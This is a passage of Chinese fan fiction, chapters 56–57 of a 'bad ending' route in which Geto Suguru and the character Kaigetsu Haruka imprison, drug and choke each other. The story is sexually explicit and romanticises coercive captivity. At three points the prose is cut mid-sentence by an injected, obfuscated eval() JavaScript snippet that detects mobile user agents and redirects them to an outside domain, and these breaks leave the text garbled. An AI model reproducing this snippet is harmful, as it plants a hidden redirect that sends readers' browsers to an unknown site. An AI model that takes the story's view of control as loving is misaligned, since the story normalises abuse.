夏油杰对她口中的“搞定”二字持保留意见。但不可否认的是,她今日的心情,确实比往日要好上许多。药喂了也没检查,只是眨了眨眼,笑着亲了他一口,便亲昵地依偎在他的怀中,期待着他的回应。 “我先去洗个澡。”他笑着回吻。 她毫不在意地摆摆手:“去吧去吧。” 像是逗小狗一样。 夏油杰回来后,只见她趴在地板上,小腿晃荡着,悠闲地看杂志。 事情是特别顺利吗?夏油杰有些吃惊,她已经很久没有这样放松了,大部分时候只是坐在角落考虑事情,现在竟然还有心情看闲书。 等他走近,才发现闲书是他的工口书。 夏油杰:…… 他一脸无语:“……这种书有什么好看的?” 她纳闷地反问:“这不是杰的书吗?” 所以他不应该更了解这本书的“精彩之处”?毕竟从书的新旧程度来看,也不是完全没翻过。杰怎么这么大个人了,还喜欢问废话呢? 海月遥十分困惑。 看懂她眼神的夏油杰:。 别问他为什么能从那个死鱼眼里看出来这么多东西,问就是被迫害多了。 “我正在研究杰喜欢的类型。”她颇为自得地伸出手,仿佛在无形的黑板上指指画画,“你看,不同书页的损耗程度是不同的。” 就像是能从输入密码的键盘磨损程度来猜测密码一样。 “所以!杰喜欢的做.爱姿势是——”话未说完,她就被夏油杰捂住嘴制止。然后,她平静地阖上眼,开始装死。 海月遥,一种生物,昼伏夜出,或许可以称之为人类的好朋友。每当遇到刺激性的事件,她便会躺下装死,憋气憋到直到有好心的人类理她,并将她从地上捡起。 就比如说现在,好心的怪刘海把她拎了起来,托着她腋下,举起来抖了抖。她就像是男孩节的鲤鱼旗一样,开始无意义地飘荡。 “哈、哈。”这孩子脸上毫无表情,嘴里发出干巴巴的“哈”声,很难不把她跟故障失灵的机器联系在一起。但夏油杰倒是能看出来海月机器人现在是高兴模式。 抖了半天,工口杂志如同雪花般从她那异次元般的裙底飘落。他敏锐地捕捉到叮当一声,瞬间发现被杂志淹没的钥匙——那是他脖子上项圈的钥匙。 海月遥似乎对此一无所知,反而伸手点在他的鼻尖,面无表情地嘲讽道:“杰是变态。” 看着他困惑的表情,她别过头去,一手半掩着嘴,肩膀微微耸动:“噗……夏油杰(xyj),小眼睛(xyj),天天偷看工口书……” 他也不知道到底戳到她哪个冷门笑点了。 “这些也不全是我的吧……”夏油杰强迫自己将视线从钥匙上移开,定定地看向眼前的少女。她似乎对自己的悬空处境毫不在意,被戳破了也不觉得尴尬,反而晃荡两下,两条腿就圈住了他的腰,亲昵地熊抱住他,蹭着他的颈肩。毛茸茸的,让他忍不住缩了缩脖子。 “因为,杰很喜欢嘛……”她往日冷淡的声音此刻有些上扬,似乎心情颇好。她低下头,在只有两人的房间里和他悄悄咬耳朵,“我学会了就能和杰好好玩了。” 气音让他感到一阵酥麻感从耳朵蔓延至全身,刺激得他打了个颤。他心领神会,本来托着她大腿的手往上滑去,隔着布料,轻抚着那条细缝。 海月遥扯了扯他项圈后的铁链:“H。” 夏油杰呼吸困难,但仍笑着问:“讨厌吗?” “喜欢。”她毫不犹豫地回答道,仿佛这是世界上最自然不过的事情。她犹觉不足,又补充道:“我最喜欢杰了。” “我爱你哦,小遥~” 海月遥亲了他一口。 “哈哈。” “杰,以后想去哪里?”在低头舔舐着他的喉结时,海月遥突然问道。“想做什么?” 他能去哪里? 他又能做什么? 他现在不是被她拴在身边了吗? 夏油杰这么想着,笑容不变:“嗯……我会像现在一样黏着小遥哦。” 海月遥似乎对他的回答感到十分惊讶,甚至又确认一遍:“真的吗?” “当然~”他语调上扬。 “真的吗?”她再次问道。 他敷衍点头:“嗯嗯~真的真的真的~” “我是认真地在问。”她冷下脸,掰着夏油杰的下巴,强迫他和自己对视,“不要敷衍我。” 夏油杰笑道:“怎么,不相信我?” 海月遥诚实地摇头:“杰看上去像骗子。” “真过分~”他的笑容可以算得上亲切,甚至算是轻佻,可当海月遥斜了他一眼时,他收敛起笑,只是勾起淡淡的笑。披散的黑发一如阴冷的黑蛇,从瘦削的苍白脸庞滑下。 他说出和之前相似又不同的话。 “我会一辈子缠着小遥哦~” ——但不是以现在的方式。 他会离开这里,再以其他方式把她留在自己身边。两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14267966|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是诅咒师,他也不需要犹豫。 夏油杰心想,晦涩不明的紫眸含笑盯着她,似乎要把眼前人用刻刀血淋淋地、完完全全地刻在玻璃般的眼球上。 海月遥却似乎没有看出他眼底阴冷的欲望,或者是,她根本不在意。 “那就约定好了。” 她露出一抹极浅的笑容,抽走发带,黑发如流云般倾泻而下。她面色苍白,带着几分倦怠,这副冷淡的美人面,宛如积雪覆盖的冬枝,只在白雪下透出一抹惊心动魄的蓝。 她最近本就憔悴消瘦许多,夏油杰抱着她时,总感觉稍微用点力,就能把这玻璃般的少女碰碎;又或者太过炽热,会让她融化成水流,从他怀里消失。然而,他还是紧紧抱着她,仿佛要将她揉进骨子里。 他刚才其实没吃下药,去洗澡也不过是为了吐掉药。而能解开他项圈的钥匙就在不远处,她也没发现……这无疑是最好的时机。 夏油杰这么想着,亲着吻着,解开她的衣服,两人紧紧贴合在一起。 (不重要的过程略) “以后就没有这样的机会了。” 海月遥忽然感叹着,没有回答夏油杰那句“为什么”,只是怜爱地吻上跪在她身前的小狗,轻声笑道:“我们继续吧……” …… 等一切结束时,两人身上都是凌乱一片,半干的液体黏在肌肤上,愣是冲了个澡,换了身清爽的衣服后,才得以从刚才的炽热解脱。 等夏油杰照着惯例收拾完,就看见她已经有些犯困地一下一下点着头。见他过来,她慵懒地打了个哈欠,像是壁炉旁取暖的猫,被人打扰后还闭着眼,喉间溢出很长的一声“嗯”,才勉强睁开眼。 “困了?”他轻声询问。 海月遥又闭眼微微点头,喉咙里含糊地“嗯”了一声,算是对夏油杰的回应。等他靠近,就半跪起身,环抱住他的腰,亲昵地靠在他怀里。夏油杰猜想自己现在的身份或许是她的玩偶,或者是床上的大型抱枕。 “杰~”犯困的时候她说话都像是慢了半拍,咬字慢又黏,抿起嘴时像是猫猫唇。 “嗯,我在。”他垂下眼,温柔地轻抚着她的发顶,她还主动蹭了蹭他的手心。 夏油杰很少见到她有这么无害的时候——当然不是说她平时有多么具有攻击性,只是他很少见她这种近乎于撒娇的柔和状态,像是空中飘动的轻盈气泡,又像是软乎乎的棉花。他甚至怀疑这个时候不论他说什么,她的回答都是懒懒的“嗯”。 果然犯困的孩子都是天使。 ——醒着的时候就是恶魔。 夏油杰想起来她故意拿铁链抽他的样子。 ……不,是超级抖s大魔王! “我——好——高——兴——”他眼中的大魔王拉长声音,因为头完全埋进他胸上,说话时声音都闷闷的,有点像感冒时带着的鼻音。 “为什么?”夏油小弟配合地追问。 “因为杰说……以后也会像现在一样呆在我身边。”她心情颇好地哼着调,说话的每个字都像是在钢琴键上跳舞,谱出和谐雀跃的曲调。 但夏油杰没有回应。 56.夏油be线(十六) “怎么不说话?” 海月遥没得到回复,不解地抬起头。 她说话时,雪白脖颈上的那粒小痣随着话音轻轻跃动,犹如曲谱上跳跃的音符。 平日里,她总是偏爱高领衣物,此刻换了他的衬衣,脖颈裸露无遗,坦然展现在他面前。而他,却戴着厚重的颈圈,脖子被金属紧紧束缚。 颈圈遮挡之下,似乎连心底的话语也会在经过喉咙时变得甜美而虚伪。 夏油杰亲吻她的额头:“没什么。” “如果很累的话先睡会儿吧。”他侧头微笑,狭长的眼眸弯成月牙形,浓密的睫毛如同云层遮掩,让那清透的月光也变得朦胧而迷人。 海月遥不太想现在就睡去,她圈住夏油杰的腰,明明困得眼睛都睁不开,还是自顾自地说道:“之后我们就要换地方了……” 夏油杰瞥了一眼地上的杂志,顺口问道:“为什么?” “事情有新的进展,而且这里太小了,杰会无聊。” 换个大点的笼子罢了,本质上没区别。 他冷冷地注视着她的发旋和因努力保持清醒而颤抖的睫毛,口中吐出甜蜜的谎言:“但我觉得这里挺好的……只要小遥能来,我就很满足了……” 撒谎。海月遥心里清楚,但她实在太困,懒得争辩。她勉强直起身,像树袋熊一样挂在他的脖子上。如果可以,她真希望夏油杰能变成一个抱枕或大玩偶,让她就这样抱着入睡。 “杰今天感觉不累吧……精力也挺充沛的?”她意味不明地轻哼一声。 夏油杰从她的语调中捕捉到一丝……得意?这种念头太过荒谬,他选择对她的问题保持沉默——毕竟他没吃药,怎么可能有那些反应。她这么问……难道是发现了什么? 他思绪飞转,灼热的手心沿着她清晰的背脊线缓缓下滑,捏了一把被宽大衬衣半掩着的臀肉。夏油杰低下头,在她耳边轻笑道:“小遥穿成这样,我睡不着……或者你又要和我一起‘睡’吗?” 他说这话时,眼底并无半点情欲,只是冷静地用余光审视着她的表情。 她似乎并未起疑,也不在意他的回答。 “H。”海月遥迷迷糊糊地闭着眼,又忍不住打了个哈欠,“杰,我好累……”她依偎在他的颈间,毛茸茸的黑发蹭得他有些发痒。 “累了就睡一会儿吧。”他微笑着,轻抚着她如绸缎般顺滑的长发,发丝如同冰冷的月光,在他的指缝间悄然滑落。夏油杰低头,发现她又消瘦了些许,眼下的黛青色格外醒目。 “高层那些老家伙很讨厌,总是不听我的话……”海月遥开始抱怨。夏油杰觉得这孩子犯困时特别黏人,说话也拖长音调,像是在撒娇。 “那我们一起打回去。”他亲吻她的唇角。 “他们不吃教训,还有啊……明明我已经很努力了……”怀里的少女仍在诉说着不满。 夏油杰忍俊不禁,捧起她的脸,满是怜爱地亲吻着。“真的,小遥真是个努力的孩子……”他温柔地将她脸侧的碎发别到耳后,“但也要好好休息,不然我会担心的。” “里面还有个最讨厌的……禅院家的……” 夏油杰接着她的话:“别理那个老东西。” “禅院君跟我差不多大……”海月遥即便犯困,也坚持纠正夏油杰,“他总是凑过来,问东问西……而且……” 夏油杰陡然升起一阵危机感。他低头,看着幼驯染冷淡的美人面,靠近时还能闻到她身上散发的幽幽淡香,清冷如同冬日里的梨花——这样的气质,无疑是那些腐朽的大家族子弟会喜欢的类型。 “他还干了什么吗?”他追问。 然而,问题却迟迟没有得到回应。当夏油杰疑惑地看向海月遥时,只见她已安静沉睡,睡颜恬静。 等等!他确实想让她好好休息,但在此之前,她得先回答他的问题啊!那家伙到底做了什么!!! 夏油杰咬牙切齿地笑着,却无法把她摇醒。他的动作轻柔至极,让她安稳地躺在椅子上,还细心地为她盖上自己的衣服。 做完这些,他的目光转向一旁堆积的杂志,眼底闪烁着不定的光芒。夏油杰悄无声息地从那堆书中找到了钥匙。 他紧握那把银白的钥匙,回头望向熟睡中的海月遥。他的幼驯染毫无防备地躺在那里,此刻,他只需解开锁链,便能趁机逃脱。 只要有咒力,他就不会像现在这样无力:他不用像条狗一样毫无尊严地等待迟迟不回的她,他不用看着她日渐劳累消瘦而只能无能着急……有时候她回来时,身上都还有血味,脸色也不太好。由于她本就是苍白的肤色,夏油杰很难判断出她到底有没有受伤。 夏油杰不喜欢这样。 他要逃出去。 即便她不认同他的理念,即便……他回想起她面无表情掐住他脖子的情景……即便她想杀他,他也渴望站在她身旁。 为了她,也为了自己,他必须离开。 这里不是他逃避的乌托邦。 咔。 他解开项圈,将沉重的铁圈轻轻放在地上,悄无声息。 接下来,他只需打开门,走出去。 然而,站在门口的他,却不由自主回头。 ——他又犹豫了。 想就这样回头,像以前一样趴在她的膝头,等她醒来,或许会撩起自己的长发,轻柔地亲吻着她的小狗,或是粗暴地拽紧他项圈上的锁链,欣赏他因窒息而蹙眉的样子,还有解脱后红着脸、大口喘息的模样。 外界的丑恶令人作呕,而她的吻是甜的,拥抱是暖的,甚至她给予的痛苦也像是浸了蜜糖,让他沉醉其中。 明明这样的日子毫无尊严,无比屈辱,但夏油杰却觉得,这比往日在高专的日子快乐得多。没有了那些碍眼的人,没有了那些糟心的事,只有他夜思日想的少女和自己。 而且…… 他回想起刚才,当她以为他会一直留在她身边时,那雀跃的表情。 如果她醒来,发现只剩空荡荡的房间和孤零零的锁链,又会怎么想呢?她会愤怒?会悲伤?还是会像知道他屠村后的那般平静? 夏油杰不得而知。 等他回过神,发现自己已站在熟睡的海月遥面前,轻抚着她苍白的脸颊,指尖摩挲着她眼下那颗精致的小痣。他的动作极为轻柔,生怕吵醒她。或许是有所察觉,海月遥在睡梦中蹭了蹭他的手心。 毫无防备的样子……真是可爱。 夏油杰缓缓转身,步入卫生间,从纸巾盒中取出那片藏起来的苍白药片,它静静地躺在他的掌心。随后,他拾起地上的项圈,紫眸中闪烁着莫测的光芒,低头为海月遥系上。 脖子上有了东西,她睡得不算安稳,如蝶翼般的睫毛像是呼吸般振翅,或许她下一秒就睁开眼,用那双冷淡的蓝色猫眼直勾勾地盯着自己,嘴里吐出如刀般冷厉的话。 然而,夏油杰毫不在意,咒力涌动间,轻易斩断她脆弱的项链,只取走了她从不离身的戒指。接着,他无声地指挥咒灵找来昔日的手铐与脚镣,轻缓地给眼前人戴上。 一切准备项目做完后,他没离开,也没喊醒她,只是静静地站在她身前,甚至还贴心地用宽大的身影挡住大部分白炽灯投下来的光,让她睡得更舒服。在他的阴影下,少女显得更加苍白,如同深海中的水母,肌肤隐隐泛着微光。可那自由的水母,如今却被深黑的锁链紧紧束缚,无法游动。 海月遥难受地哼了一声,即将醒来。 可怜。 可爱。 可惜。 夏油杰心想。 等海月遥醒来时,看见的便是近在咫尺的夏油杰。他弯下身,侧边柔顺的黑发如同凄清的月光,轻轻垂落在她的身上。这些发丝宛如黑蛇,紧紧缠绕着她,仿佛自己就是它们眼中的猎物。背着光,那双郁紫色的眼眸却愈发晃眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335841|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,瞳心似有腥红的一点,牢牢地锁定着她。 “早安~” 他微笑着说。 海月遥尚未完全清醒,但瞬间明白自己的处境。她脸色一沉,刚要有所动作,却被他迅速地将某物塞入了舌根。 “……给狗喂药的话,只要掰开它的嘴,压住舌面,把药放在舌根,它就会自己吞下去了。” 这是海月遥在囚禁第一天告诉他的话,夏油杰铭记于心,此刻,他正是这样做的。 带着薄茧的大手不由分说地撬开她的嘴,不顾一切地将药片往里塞,即使手指被她狠狠咬破,痛入骨髓,他的脸上依旧挂着笑,亲眼看着她混着他的血将药片吞下。 “小遥果然是可爱的乖孩子……” 海月遥怀疑如果她不再收力,就这样咬断他的手指,他也会面不改色地看着她笑,温和地“乖孩子”“乖孩子”地夸着。 她抬起头,口腔中弥漫着甜腥的铁锈味,让她忍不住想要漱口。 “杰……唔!” 话未说完,夏油杰便笑着按住了她的脸,宽大的掌心完全捂住她的口鼻,指缝间,能看见那双幽深的蓝瞳死死盯着他。 “波纹的基础,是呼吸。”夏油杰感受到体内的咒力正在被抹除,却仍笑着说道,手却紧紧按着不放。他在静待药效的发作。 海月遥无法呼吸,窒息感如潮水般涌来,紧紧攥住她的大脑。她胸膛剧烈起伏,却仍无法吸入一丝空气。 “难受吗?”夏油杰细长的眉毛微微蹙起,看似担忧,“抱歉,我也不想这样对小遥,只是小遥总是不愿配合我……” 火大。 咔! 海月遥攥紧铁链,猛然一挣,手铐间的铁链应声断裂。冰冷的金属几乎勒破她的手腕,但她浑然不顾,死死抓住夏油杰的手臂,指尖深陷皮肉,鲜血滴落。然而,就在她即将捏断他手臂之际,又突然松开手。 “本来我是想……” 夏油杰的手臂传来阵阵剧痛,但他的表情没有丝毫变化。他顿了顿,继续说道:“但我觉得,还是得跟小遥告别。” 海月遥的瞳孔开始涣散。不知为何,她此后没有再挣扎反抗,或许是药效发作,或许是其他原因。 夏油杰感受到她注入自己体内的波纹逐渐消散,便笑着使用反转术式先治疗了她的伤,再治疗自己。 按照他往日的规律,这个时候药效应该上来了,她身上大抵没有太多力气。夏油杰心想,他的絮絮叨叨终于按下禁止键,过了一会儿才松开捂住她口鼻的手。 海月遥终于得以呼吸,弯下腰大口喘息。然而,那双冷淡的蓝瞳却透过凌乱黑发的缝隙,阴冷地凝视着夏油杰,玻璃般的眼珠一动不动地锁定着他。 “夏、油、杰——” “生气了?哈哈,抱歉,我没想这样的。”夏油杰轻松回应,温和地捧起她的脸,想要亲吻她的唇瓣。在她皱眉别过头时又强硬地掰回来,却不料被她狠狠地扇了一巴掌。 这一次,她显然没有前两次那般留情,一巴掌扇得他侧过头去,几缕碎发随之垂下,蜷曲地贴在脸颊旁。他脸上的伤痕清晰可见,嘴角还挂着血迹。 夏油杰恍惚地看着她。 海月遥依旧面无表情,一言不发,紧紧盯着他,手半抬着,莹白的指尖还染着他的血,宛如雪与冬梅相映,煞是好看。 真漂亮。 脸上传来火辣辣的疼痛,夏油杰却还有空分心想这些。他没去管脸上的伤,清俊的少年脸上迷离的痛楚与愉悦交织,最终化为一抹惑人的笑意。 或许是囚禁日子里养成的习惯,他弯腰时下意识地比她低了一分,上挑的眼眸含情地望着她。他伸出水红的舌,如小狗般殷勤地舔去她手上的血迹。 在海月遥愈发冰冷的眼神中,他又凑了上去,混着鲜血和她接吻。 “我爱你哦,遥……” 夏油杰轻声说道。 57.夏油be线(十七) 夏油杰对之前被关在这里的怨怼完全消散了。他彻底理解海月遥。 若换作是他,他也会做出同样的选择。 ——将恋人锁在只能看见自己的地下,自己去解决所有麻烦,不让那可爱又可怜的恋人接触外界那些丑恶的猴子们。 他们都渴望人为地构建一个能让“蝴蝶”自由飞舞的花园。 站在门口的那一刻,夏油杰惊讶地发现,自己最强烈的愿望既不是逃离,也不是留下。 他真正渴望的,是将她紧紧锁住。 夏油杰心不在焉地想着,手扣在海月遥的后脑勺,另一手牢牢钳着她的腰肢,由深入浅,如同狂风骤雨,吻得肆无忌惮。 他半蹲着,仰起头,吻着她,感受着她的黑发轻轻拂过他的手背,微凉,激起一阵电流般的触感,让他不禁快意地喟叹出声。海月遥喘着气,似乎想要说些什么,却被他再次以吻封缄。他更加用力地将她拉近,似乎要把她完完全全揉进身子里才好。 喜欢。 喜欢。 喜欢。 夏油杰奔涌的情绪达到了极点。 香津在缠绕的舌间摩挲,哪怕被咬伤,血腥味在口腔中弥漫,他也未曾有丝毫的松手的意思。或者说,这份疼痛反而让他更加狂热。 “遥,遥,遥……”他总不能满足,一遍又一遍地呼唤着她的名字,每一次都伴随着对她柔软唇瓣的撕咬,每一次都更加深入地追逐着她的舌。 他如同一条湿漉漉的蛇,一寸一寸地攀附在她身上,然后紧紧地缠绕,仿佛要将她彻底拉入自己的世界。 啊,真想就这样把她吃掉…… 如果以后都是这样的日子,那又该是何等的甘美? 想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要想要…… 夏油杰这么想着,下一刻却被少女掐住脖颈。黑发投下的阴翳下,幽深的蓝瞳丝毫没有被他疯狂的情欲和爱意沾染,冰冷地审视着他的表情,手下的力气也不断加大。 在生气吗? 可爱。 他甚至没有挣扎,只是静静地承受着。哪怕呼吸愈发困难,嗓子里像是被塞了块湿哒哒的海绵。他的视线逐渐模糊,却仍在心中默默地赞叹。 真可爱。 就在他即将失去意识的那一刻,海月遥突然松开了手。 明明就想杀了他却又舍不得…… 这一点也很可爱。 夏油杰咳嗽着,大口大口地喘着气,愉悦地眯起眼。 “夏油杰……” 海月遥喘息着,将他的意识从混沌边缘拉回。她先前已被捂得窒息,接着又被他强硬地吻住,唇齿交缠,呼吸凌乱。 “——你到底要什么?” 海月遥无法理解他。 她一直知道他想逃,毕竟没有人会心甘情愿地被她关在一方小小的房间里,没有自由,没有尊严,像是宠物一样屈辱地被她饲养。 决定囚禁他的那一刻,她便做好了被竹马怨恨终生的准备。然而,当她筑起层层尖锐的防备时,他却说他爱她。 就在她几乎相信时,他又说自己会永远呆在她身边。可刚立下承诺,在她睡着时他又做出这样的事。 既然做不到,就不要应承。 骗子。 海月遥冷下脸。 …… “——你到底要什么?” 眼前的少女面无表情地问出这句话,夏油杰不知为何又想起了他第一次对她说“我爱你”时,她那冷冰冰的回应:“你要什么?” 他愣了一下,随即侧头微笑。不受束缚的额发滑落,在细碎黑发间,深邃的紫眸一眨不眨地盯着她。他的目光停留在她的唇瓣上,那被他亲得微肿的唇瓣,原本苍白,如今却如娇艳的玫瑰般染上了血色。 “你。”他给出了与从前相同的答案。 他分明在笑,甚至带着从前那种温柔的笑意。他只说了这一句话,便不再多言,耐心地等待她的回应。 海月遥的表情反而更加冰冷:“骗子。” “真受伤,我明明是真心的。”他笑着轻按她的唇瓣,却又被她狠狠咬了一口手指,渗出了血。夏油杰吃痛,愉悦地轻哼一声,收回手,将被她咬过的地方按在自己的唇上,唇因鲜血而更加艳丽。 他笑得如开得正艳的罂粟,意有所指地反问:“小遥,难道你不是已经切身体会过很多次吗?”他的每个字都像是被细细品味,又黏又慢,仿佛要将这份美味一点点品尝殆尽。 海月遥的视线从他如血的唇上淡淡掠过,随即移开目光,声音冷冽如冰:“可你要走。” “嗯,抱歉。”他轻声回应。 “你还会留多久?”她问。 “药效消退之前。”他答。 “果然……你今天又没吃药。”她稍作停顿,“你之前说会一直陪在我身边,也是骗我的。” “不是骗你哟~” 夏油杰弯了弯眼,像是戴上惨白的微笑面具。他从下往上探身,如蛇般蜿蜒向上,手顺着她的锁骨缓缓攀附,摩挲过她修长的脖颈,最终停驻在她的后颈,指尖轻轻拨弄着那冰冷的金属颈圈。 披散的发丝是绳索,坚固的颈圈是枷锁,层层把少女束缚在他身边。 “我会一直、一直纠缠着小遥,即便你不愿意……这一点,是真的。” 海月遥抿紧双唇,眼底闪烁。 “为什么露出那样的表情?明明让我变成这样的就是你。一切都是因为小遥你……” 夏油杰的语气中充满了委屈,他试图亲吻她的唇角,却被她转头避开。然而,他并未气馁,反而更加温柔地吻上了她的耳垂,接着一路向下轻吻。 “现在反悔,已经来不及了……小遥不是也说过吗?只要顺应本心,就不会后悔。” “我听你的话,小遥难道不应该高兴吗?” 海月遥直截了当地揭穿他:“如果你真的听我的话,就不会做出这种事。” 即便身处如此境地,她似乎也没有太大的情绪波动,对自己被束缚的处境也显得漠不关心。但她觉得他脸上的伤痕格外刺眼,脖子上的掐痕也让她心生厌恶。 连伤都不治。 他故意的。 海月遥认知到这一点后反而更加不爽。 骗她的是他,锁她的也是他,现在却故意装出可怜样,企图让她心软。 “杰讨厌被我关在这里。” “只是为了逃出去,杰才装出喜欢的样子。” “骗子。” 她说着,指尖拂过他脸上的伤痕,夏油杰则得寸进尺地将发热的脸颊贴向她的掌心。明明每次抚摸都带来阵阵疼痛,他却肆意地贴近,不知道是在享受着这份痛楚带来的快感,还是在享受她因为他的举动而变化的表情。 “杰。” 海月遥低头看着夏油杰,看着那蝶翼般的睫羽轻轻颤抖,郁色的紫瞳湿漉漉地看向她:“抱歉,小遥……但我没办法……” 奇怪的是,虽然此刻被铁链束缚的是她,但他却眉头紧锁,摆出一副可怜兮兮的模样。当微凉的指尖触碰到他火辣辣的侧脸时,他还会极低极轻地倒吸一口气,连眼睫都会快速地颤抖两下,如同纤薄草叶上即将坠落的露珠。在这之后,他又会抬起眼,那双狭长的狐狸眼只专注地看向她一人。 痛的话治不就好了? 装。 海月遥别开头。 就在她转头的瞬间,夏油杰脸上的哀求化为笑意,逐渐扩散。黑发滑落,紫眸在阴影下更显深邃,瞳心如同山洞般幽黑,贪婪地凝视着她的侧脸。 未等她察觉,夏油杰猛然起身,膝盖强硬地挤入她双腿之间,半跪着环住她的脖颈。 “真的很抱歉,小遥……可我不想看你这么累了……”夏油杰花了很大力气才抑制住喉间将要溢出的笑音,在她看不见的角落,他侧过头,鼻尖蹭着她垂下的黑发,眼下的绯红更盛。 他以一种太过无奈、太过温柔的语气说着:“我很担心小遥……” 嘴里说着温柔的话,他的眼神却如捕食者般锐利,一刻不移地锁定她。 海月遥觉得自己被一只大型犬缠上了,他蓬松的黑发蹭得她发痒。这人说话时,身体也会微微颤抖,声音也是压低了、揉碎了,小心翼翼地捧着每一个字。尽管他身材高大,此刻却似乎想尽力缩小,依偎在她怀中。 当她不由自主地抚摸上他清瘦的脊背,他再次一颤,断断续续地吐露心声:“被关在这里,我永远都无法帮你……这种事,我绝不接受……所以,即使你会生我的气……” “别演了。”海月遥冷淡地打断他。 他欲言又止:“我——” “有力气说话,不如用反转术式治疗自己。”她毫不留情。 “遥——” “装可怜对我无效。” “……” 数次被打断,他沉默地松开抱着她的手,突然低低地笑出声来。他弯着腰笑了好一会儿,笑够了,才直起身看着她,脸上仍带着笑意,俊秀的少年脸上满是旖旎的红潮。他讽刺道:“要说装,遥你不也一样?明明心里喜欢,却偏要说些煞风景的话。” 她沉默以对,生怕多说一句就被他误解。 “刚才你移开视线时,不是想亲我吗?”他紧紧握住她的手,不让她乱动,当她试图抽回时,他更是用力拽住,让她的指尖感受到他温热柔软的唇瓣,他甚至轻咬一下她的指尖,笑道,“还有,你刚才转头时,不是也想抱我吗?” “0。” “真的?” “……0。” 这既像是对上一个问题的回答,又像是对这个问题的回应。可夏油杰就是知道,他笑得狡黠,再次搂紧她的脖子,鼻尖轻轻蹭着她的,如同小动物般亲昵,然而他紧握的手却透露出不容抗拒的力量。 他没有更进一步,而是循循善诱地问道:“遥不是说,要顺从本心吗?” 夏油杰一手撑在她身侧,侧头微笑,如黑河般的长发从肩上滑落。海月遥嗅到了与她相似的气味。 离得越近,她却觉得他的脸庞愈发模糊,仿佛隔着一层毛玻璃,看不真切。又似那被众人簇拥的花魁,仅能从薄薄的绸缎扇面中透出朦胧而惊心动魄的眉眼。 凉薄的唇瓣微微开合,唇色因血而殷红,润泽的唇珠更显诱人。 那红色的果实,只需轻轻一咬,甘甜的果汁便会在口腔中绽放。细细碾咬时,被挤压的果肉还会发出细微的呻吟…… “不抱我吗?”他如同伊甸园中的黑蛇,嘶嘶吐信,声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369121|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充满诱哄,让人几乎能感受到果实的甜美,“别让我等太久嘛……” 海月遥没有动弹,只是缓缓抬起眼皮,静静地凝视着他。无论是脖子上的铁链,还是心爱之人的诱惑,她都保持着那副恹恹的神情,面若寒冰。有时又心不在焉地垂下眼眸,那未起波澜的蓝眸不定地游离,不知在思索什么。 “遥……?” “我在想些事情。” 这个时候还能分心想别的事…… 夏油杰认为她是个过分挑剔的食客,手持银白刀叉,遵循着礼仪,那双锐利的蓝眼睛仔细打量着餐盘上的他。她迟迟没有动用那锋利的刀叉将他切开,也不愿用银叉穿透他,更不用说她那令他日夜思念的唇瓣去触碰他,最终将他吞噬。 心急的食材在反省自己到底是哪里没做好,是刚才侧头的角度有误,还是脸上的表情不够哀怜?抑或她早已对这张脸、这具身体感到厌倦,失去了品鉴的兴趣? 还是说,还在生他的气?不想原谅他? 夏油杰焦躁起来,虚握着她的手腕,让她能一下一下地轻抚自己的侧脸,细长如月的眼微微眯起,当他的脸上流露出近乎哀求的神情时,颇像是浮雕古画上的画像,黑白间流露出一种古典的韵味。 “遥……不可以吗?” 当她终于向他伸出手时,他脸上罕见地露出了恍然与惊喜,仿佛被点亮一般,迫不及待地靠近少女。 然而,她并未给予他亲吻或拥抱,只是轻轻拂过他的伤痕。微凉的指尖掠过,伤口处传来一 股暖洋洋的感觉,随即痊愈。 “杰,下次想装可怜,先把伤治好吧。”海月遥语气平静,“这样太刻意了,显得很假。” 夏油杰的表情瞬间僵硬。 就在他紧抿双唇之际,她却突然将他紧紧抱住,那带着凉意的怀抱将他完全包裹。她本就只穿着他的衬衫,此刻几乎毫无阻隔地贴合在一起。她自顾自地说道:“而且,你不这么做我也会抱你的。不是答应过我不会通过伤害自己来吸引我的注意力吗?” 夏油杰知道,她指的是之前他故意捏断自己手臂,让她赶回来的事情。 “杰是骗子。”她低声说道。 “答应我的事,一件也没做到。” 他曾答应她会坚持自己的道路,却将屠刀挥向了他曾立志要保护的非术师; 他曾答应她会像以前一样永远陪在她身边,却在她放松警惕时将她锁住; 他曾答应她不会伤害自己,却又故意加重伤势,只为让她多关注他一些; 他曾答应…… 海月遥痛恨谎言与背叛。 “我讨厌这样。” 她抬起头,和面色霎时苍白的夏油杰四目相对。他原本兴奋起来的神经仿佛被泼了一盆冰水,瞬间手脚发寒。就在他准备开口之际,她毫不留情地打断了他,再次重申道: “夏油杰,我很讨厌这样。” 